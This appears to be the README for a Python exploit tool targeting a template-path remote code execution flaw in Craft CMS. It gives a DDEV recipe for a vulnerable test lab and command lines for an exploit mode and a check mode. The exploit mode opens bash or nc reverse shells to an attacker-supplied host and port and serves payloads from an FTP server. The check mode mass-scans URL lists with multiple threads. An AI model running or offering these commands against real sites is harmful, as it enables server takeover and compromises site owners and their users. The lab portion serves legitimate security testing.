This tool is designed to exploit a vulnerability in Craft CMS identified by the amazing research team at Assetnote. The issue arises due to improper handling of user-supplied template paths, allowing attackers to achieve Remote Code Execution (RCE) 🛠️ via specially crafted payloads.

🙏 Special thanks to Assetnote for their dedication to security and research.


✨ Features

  • 🚀 Automated FTP server to serve malicious payloads.
  • 🧪 Reverse shell payload generation with multiple options (bashnc).
  • 🔍 Vulnerability checker to identify vulnerable targets.
  • 🖥️ Multithreaded support for faster scans.
  • 🛠️ Easy-to-use CLI interface with clear feedback.

🛡️ Setting Up a Vulnerable Lab

Follow these steps to set up a Craft CMS instance for testing purposes:

mkdir exploit-craft && \
cd exploit-craft && \
# Configure DDEV project for Craft CMS
ddev config \
--project-type=craftcms \
--docroot=web \
--create-docroot \
--php-version="8.2" \
--database="mysql:8.0" \
--nodejs-version="20" && \
# Create the DDEV project
ddev start -y && \
# Create Craft CMS with the specified version
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
# Install the specific CMS version
ddev composer require "craftcms/cms:5.5.0" \
--no-scripts \
--no-interaction --with-all-dependencies && \
# Set the security key for Craft CMS
ddev craft setup/security-key && \
# Install Craft CMS
ddev craft install/craft \
--username=admin \
--password=password123 \
--email=admin@example.com \
--site-name=Testsite \
--language=en \
--site-url='$DDEV_PRIMARY_URL' && \
# Enable register_argc_argv for PHP
mkdir -p .ddev/php/ && \
echo "register_argc_argv = On" > .ddev/php/php.ini && \
# Final step, echo message and launch the project
echo 'Nice, ready to launch!' && \
ddev launch


🚨 Usage

Run the tool with the --help flag to view available commands:

python exploit.py --help


🚀 Exploit Command

To exploit a target:

python exploit.py exploit -u <TARGET_URL> -lh <LOCAL_HOST> -lp <LOCAL_PORT> -px <PAYLOAD_TYPE>

⚙️ Options:

  • -u / --url: The target URL (required).
  • -lh / --lhost: Your local IP for receiving the reverse shell (required).
  • -lp / --lport: The local port for the listener (required).
  • -px / --payload: Payload type (bashnc). Default: bash.

🧪 Example:

python exploit.py exploit -u https://example.com -lh 192.168.1.10 -lp 4444 -fh 127.0.0.1 -fp 2121 -px bash


🔍 Check Command

To check if a target is vulnerable:

python exploit.py check -u <TARGET_URL> -f <FILE_WITH_URLS> -t <THREADS> -o <OUTPUT_FILE>

⚙️ Options:

  • -u / --url: A single target URL.
  • -f / --file: A file containing multiple URLs to scan.
  • -t / --threads: Number of concurrent threads for scanning.
  • -o / --output: Output file to save results.

🧪 Example:

python exploit.py check -f urls.txt -t 10 -o results.txt
